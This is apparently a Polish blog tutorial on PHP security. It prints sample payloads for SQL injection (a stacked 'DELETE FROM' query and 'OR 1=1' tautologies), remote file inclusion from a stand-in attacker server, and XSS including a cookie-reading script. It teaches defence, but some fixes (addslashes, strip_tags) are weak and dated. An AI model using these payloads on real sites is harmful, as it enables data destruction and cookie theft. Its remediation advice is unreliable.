Bezpieczeństwo pisania skryptów w PHP
Programując w PHP należy zwrócić uwagę nie tylko na kasę, jaka wpłynie od zleceniodawcy ale też na jakość tworzonych przez siebie skryptów. Jednym z aspektów tego jest bezpieczeństwo.
Przykład 1. SQL injection.
Na szczęście w PHP jest to niemożliwe do zrobienia, ale jeżeli ktoś z deweloperów PHP wpadnie na pomysł możliwości uruchamiania wielu kwerend pojedynczym wywołaniem funkcji mysql_query to jest to świetne pole do popisu dla włamywaczy.
Opis:
przypuśćmy, że mamy
index.php?module=pages&pg_id=16 ;)
takie wywołanie powinno wyświetlić stronę numer 16
w kodzie jest:
SELECT * FROM pages WHERE id=$pg_id
zastanówcie się co by było jakby wywołac stronę:
index.php?module=pages&pg_id=16; DELETE FROM pages;
wtedy w kodzie będzie:
SELECT * FROM pages WHERE id=16; DELETE FROM pages;
czyli mamy 2 zapytania do bazy przy czym drugie jest niepożądane.
Na szczęście jak na razie PHP nie wykona takiego zapytania, ale warto dmuchać na zimne i stosować addslashes().
To powyższe to był przykład tego, czego się nie uda zrobić włamywaczowi w PHP, a poniżej kilka przykładów zapytań z zaznaczonym na czerwono kodem włamywacza - zwróćcie dokładnie uwagę na apostrofy:
SELECT * FROM hasla WHERE login='login' OR 1=1 OR 1='1' AND haslo='haslo'
DELETE FROM subskrypcje WHERE email='email' OR 1='1'
Thx. dla asm.
Przykład 2. Uruchamianie zdalnego pliku.
Przypuśćmy, że mamy
index.php?plik=news.php
a w kodzie php:
include($plik);
wtedy istnieje możliwość ataku przez:
index.php?plik=http://mójserwer/skrypt.php
Po takim wywołaniu PHP pobierze z mojego serwera plik i go przetworzy na serwerze ofiary. Skrypt.php może wyciągać hasła, kasowac pliki....
Rozwiązanie jest proste:
switch ($plik) {
case 'news.php': include('news.php');
}
Przykład 3. Upload plików.
Jeżeli mamy stronę, na której możemy dokonać uploadu plików np. emotikony do forum. I nie sprawdzamy rodzaju pliku to atakujący może zuploadować cośtam.php. Co ten skrypt może zrobić z Waszym serwerem to temat na kilka książek...
Przykład 4: HTML injection, XSS Cross Site Scripting
Panująca moda na Web 2.0, czyli portale społecznościowe, blogi i inne takie wymusza od twórców stron wstawianie elementów interaktywnych. Czyli w skrócie umożliwienie wypowiadania się / komentowania / tworzenia własnych stron. Trywialnym przykładem jest link "Skomentuj ten tekst" poniżej. Takie formularze powinny być zabezpieczone przed wprowadzaniem niebezpiecznych treści - kodu HTML. Dla przykładu:<div style="position:absolute;top:0px;left:0px;width:2000px;height:2000px;" onclick="alert('dupa a nie programista');">h0ck3d</div>
<script type=text/javascript>alert(document.cookie)</script>
Rozsądnym zabezpieczeniem jest tutaj funkcja strip_tags. Przy czym drugi parametr tej funkcji pozwala na umieszczenie listy tagów dozwolonych. Można w ten sposób zostawić możliwość formatowania tekstu typu pogrubianie, kursywa, podkreślenie, kolor, wstawianie linków. W takich tagach należy sprawdzić czy nie ma przypadkiem niedozwolonych atrybutów, stylu. Dla przykładu:
<a href="http://lemat.priv.pl" style="position:absolute;top:0px;left:0px;width:2000px;height:2000px;" onclick="alert('dupa a nie programista'); return false;">niby typowy link do strony</a>
Jak widać powyższy kod zawiera zarówno niedozwolony styl jak i niedozwolony JavaScript. To wszystko należy wycinać.